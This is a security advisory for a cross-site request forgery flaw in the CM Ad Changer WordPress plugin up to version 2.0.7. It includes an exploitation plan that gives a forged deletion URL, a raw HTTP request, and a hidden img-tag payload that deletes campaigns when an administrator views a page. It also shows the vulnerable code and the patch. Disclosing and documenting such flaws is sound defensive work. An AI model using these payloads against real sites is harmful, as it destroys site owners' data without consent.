CM Ad Changer <= 2.0.7 - Cross-Site Request Forgery to Campaign Deletion via Campaign Management
Description
The CM Ad Changer – A simple tool to control and optimize your site's banners plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.7. This is due to missing or incorrect nonce validation on the cmac_campaigns_action function. This makes it possible for unauthenticated attackers to permanently delete arbitrary advertising campaigns, including their associated banner records and uploaded files via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.0.8
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-9236 ## 1. Vulnerability Summary The **CM Ad Changer** plugin (versions <= 2.0.7) is vulnerable to **Cross-Site Request Forgery (CSRF)**. The vulnerability exists because the plugin fails to perform nonce validation when processing campaign deletion requests …
Show full research plan
Exploitation Research Plan - CVE-2026-9236
1. Vulnerability Summary
The CM Ad Changer plugin (versions <= 2.0.7) is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists because the plugin fails to perform nonce validation when processing campaign deletion requests via the GET method. While the plugin implements check_admin_referer() for POST requests (used for updating campaign data), the logic branch handling GET-based actions (like deletion) lacks any security tokens. This allows an unauthenticated attacker to trick a logged-in administrator into permanently deleting advertising campaigns by visiting a malicious link.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin.php - Query Parameters:
page:cmac_campaignsaction:deletecampaign_id: The integer ID of the campaign to be deleted.
- Authentication Required: The victim must be a logged-in administrator with the
manage_optionscapability. - Preconditions: At least one advertising campaign must exist in the system. The attacker needs to know (or guess/brute-force) the
campaign_id.
3. Code Flow
- Entry Point: When an administrator accesses the Campaigns page, the hook registered in
CMAdChangerBackend::cmac_admin_menu()(backend/cm-ad-changer-backend.php) triggers. - Hook Registration:
$campaigns_subpage = add_submenu_page( CMAC_MENU_OPTION, 'Campaigns', 'Campaigns', 'manage_options', 'cmac_campaigns', ... ); add_action( $campaigns_subpage, array( self::$calledClassName, 'cmac_campaigns_action' ), 0 ); - Vulnerable Function: The
cmac_campaigns_action()function is called. - Security Gap:
- Lines 134-135: The code checks for
$_POSTand validates a nonce for updates:if ( !empty( $_POST ) && check_admin_referer( 'cmac-update-campaign-data' ) ) { ... } - Lines 159-160: If
$_POSTis empty (aGETrequest), theelseblock executes:} else { if ( isset( $_GET[ 'action' ] ) ) { if ( isset( $_GET[ 'campaign_id' ] ) && is_numeric( $_GET[ 'campaign_id' ] ) ) { switch ( $_GET[ 'action' ] ) { // ... case 'delete': CMAC_Data::cmac_remove_campaign( $_GET[ 'campaign_id' ] ); self::$success = 'Campaign was removed from database!'; break; } } } } - Result: The
deletecase callsCMAC_Data::cmac_remove_campaign()without any nonce verification.
- Lines 134-135: The code checks for
4. Nonce Acquisition Strategy
No nonce is required for the deletion action. The vulnerability stems from the fact that the GET branch of the code logic completely omits the check_admin_referer() or wp_verify_nonce() call found in the POST branch. An attacker can perform the deletion as long as the victim's session is active.
5. Exploitation Strategy
The goal is to trigger a GET request to the deletion URL via the administrator's browser.
Step-by-Step Plan:
- Identify Target: Determine the
campaign_idof a campaign to delete. (In a PoC, we will create one first). - Craft Payload: Construct the URL:
http://TARGET_WP/wp-admin/admin.php?page=cmac_campaigns&action=delete&campaign_id=[ID] - Execute Request: Use the
http_requesttool to simulate the administrator's browser making this request.
HTTP Request Payload:
GET /wp-admin/admin.php?page=cmac_campaigns&action=delete&campaign_id=1 HTTP/1.1
Host: localhost:8080
Cookie: [ADMIN_COOKIES]
6. Test Data Setup
To demonstrate the vulnerability:
- Install Plugin: Ensure CM Ad Changer v2.0.7 is active.
- Create Campaign: Use WP-CLI to insert a dummy campaign directly into the database (as the plugin's data management is handled via custom tables):
wp db query "INSERT INTO wp_cmac_campaigns (title, status) VALUES ('Vulnerable Campaign', 1);" - Verify ID: Get the ID of the newly created campaign:
wp db query "SELECT campaign_id FROM wp_cmac_campaigns WHERE title='Vulnerable Campaign';"
7. Expected Results
- Response: The server should return an HTTP 200 OK.
- UI Feedback: Upon rendering the page, the plugin will set
self::$success = 'Campaign was removed from database!', which typically displays an admin notice. - Database State: The record for the targeted
campaign_idshould be removed from thewp_cmac_campaignstable.
8. Verification Steps
After the HTTP request is sent, verify the deletion using WP-CLI:
# Attempt to find the campaign
wp db query "SELECT * FROM wp_cmac_campaigns WHERE title='Vulnerable Campaign';"
# Expected Output: Empty result set.
9. Alternative Approaches
If the administrator is not currently on an admin page, a CSRF can be staged on an external site using an <img> tag or a hidden <iframe> to trigger the GET request automatically when the admin views the attacker's page:
<img src="http://TARGET_WP/wp-admin/admin.php?page=cmac_campaigns&action=delete&campaign_id=1" style="display:none;">
Since the SameSite cookie attribute for WordPress session cookies is typically Lax, a cross-site GET request via a link or a top-level navigation will successfully carry the credentials required to authorize the deletion.
Summary
The CM Ad Changer plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 2.0.7 because it fails to perform nonce validation when handling campaign deletion via GET requests. This allows unauthenticated attackers to trick a logged-in administrator into permanently deleting advertising campaigns by having them visit a crafted URL.
Vulnerable Code
/* backend/cm-ad-changer-backend.php:159 */ } else { if ( isset( $_GET[ 'action' ] ) ) { if ( isset( $_GET[ 'campaign_id' ] ) && is_numeric( $_GET[ 'campaign_id' ] ) ) { switch ( $_GET[ 'action' ] ) { // ... (truncated) case 'delete': CMAC_Data::cmac_remove_campaign( $_GET[ 'campaign_id' ] ); self::$success = 'Campaign was removed from database!'; break; } } } } --- /* backend/views/admin_campaigns.php:50 */ <td class="actions"> <a href="<?php echo get_bloginfo( 'wpurl' ) ?>/wp-admin/admin.php?page=<?php echo $pageName ?>&action=edit&campaign_id=<?php echo $campaign->campaign_id ?>"><img src="<?php echo self::$cssPath . 'images/edit.png' ?>" /></a> <a href="<?php echo get_bloginfo( 'wpurl' ) ?>/wp-admin/admin.php?page=<?php echo $pageName ?>&action=delete&campaign_id=<?php echo $campaign->campaign_id ?>" class="delete_campaign_link"><img src="<?php echo self::$cssPath . 'images/trash.png' ?>" /></a> </td>
Security Fix
@@ -174,7 +174,14 @@ } break; case 'delete': - CMAC_Data::cmac_remove_campaign( $_GET[ 'campaign_id' ] ); + $campaign_id = isset($_GET['campaign_id']) ? absint($_GET['campaign_id']) : 0; + if ( !isset($_GET['_wpnonce']) || !wp_verify_nonce(sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'delete_campaign_' . $campaign_id) ) { + wp_die( 'Security check failed.' ); + } + if ( !current_user_can('manage_options') ) { + wp_die( 'You do not have permission to perform this action.' ); + } + CMAC_Data::cmac_remove_campaign( $campaign_id ); self::$success = 'Campaign was removed from database!'; break; } @@ -47,7 +47,14 @@ <td><?php echo (($campaign->status == '1') ? 'Active' : 'Inactive') ?></td> <td class="actions"> <a href="<?php echo get_bloginfo( 'wpurl' ) ?>/wp-admin/admin.php?page=<?php echo $pageName ?>&action=edit&campaign_id=<?php echo $campaign->campaign_id ?>"><img src="<?php echo self::$cssPath . 'images/edit.png' ?>" /></a> - <a href="<?php echo get_bloginfo( 'wpurl' ) ?>/wp-admin/admin.php?page=<?php echo $pageName ?>&action=delete&campaign_id=<?php echo $campaign->campaign_id ?>" class="delete_campaign_link"><img src="<?php echo self::$cssPath . 'images/trash.png' ?>" /></a> + <?php + $delete_url = wp_nonce_url( + get_bloginfo('wpurl') . '/wp-admin/admin.php?page=' . $pageName . + '&action=delete&campaign_id=' . $campaign->campaign_id, + 'delete_campaign_' . $campaign->campaign_id + ); + ?> + <a href="<?php echo esc_url($delete_url); ?>" class="delete_campaign_link"><img src="<?php echo self::$cssPath . 'images/trash.png' ?>" /></a> </td> </tr> <?php endforeach; ?>
Exploit Outline
To exploit this CSRF vulnerability, an attacker targets the cmac_campaigns_action handler in the backend. Since the plugin fails to check for a nonce when processing GET requests for the 'delete' action, the attacker crafts a malicious link targeting /wp-admin/admin.php?page=cmac_campaigns&action=delete&campaign_id=[ID]. The attacker then tricks a logged-in administrator into visiting this URL (e.g., via a phishing link or an embedded <img> tag on an external site). If the administrator is authenticated and has the 'manage_options' capability, the request will execute, causing the specified campaign to be permanently deleted from the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.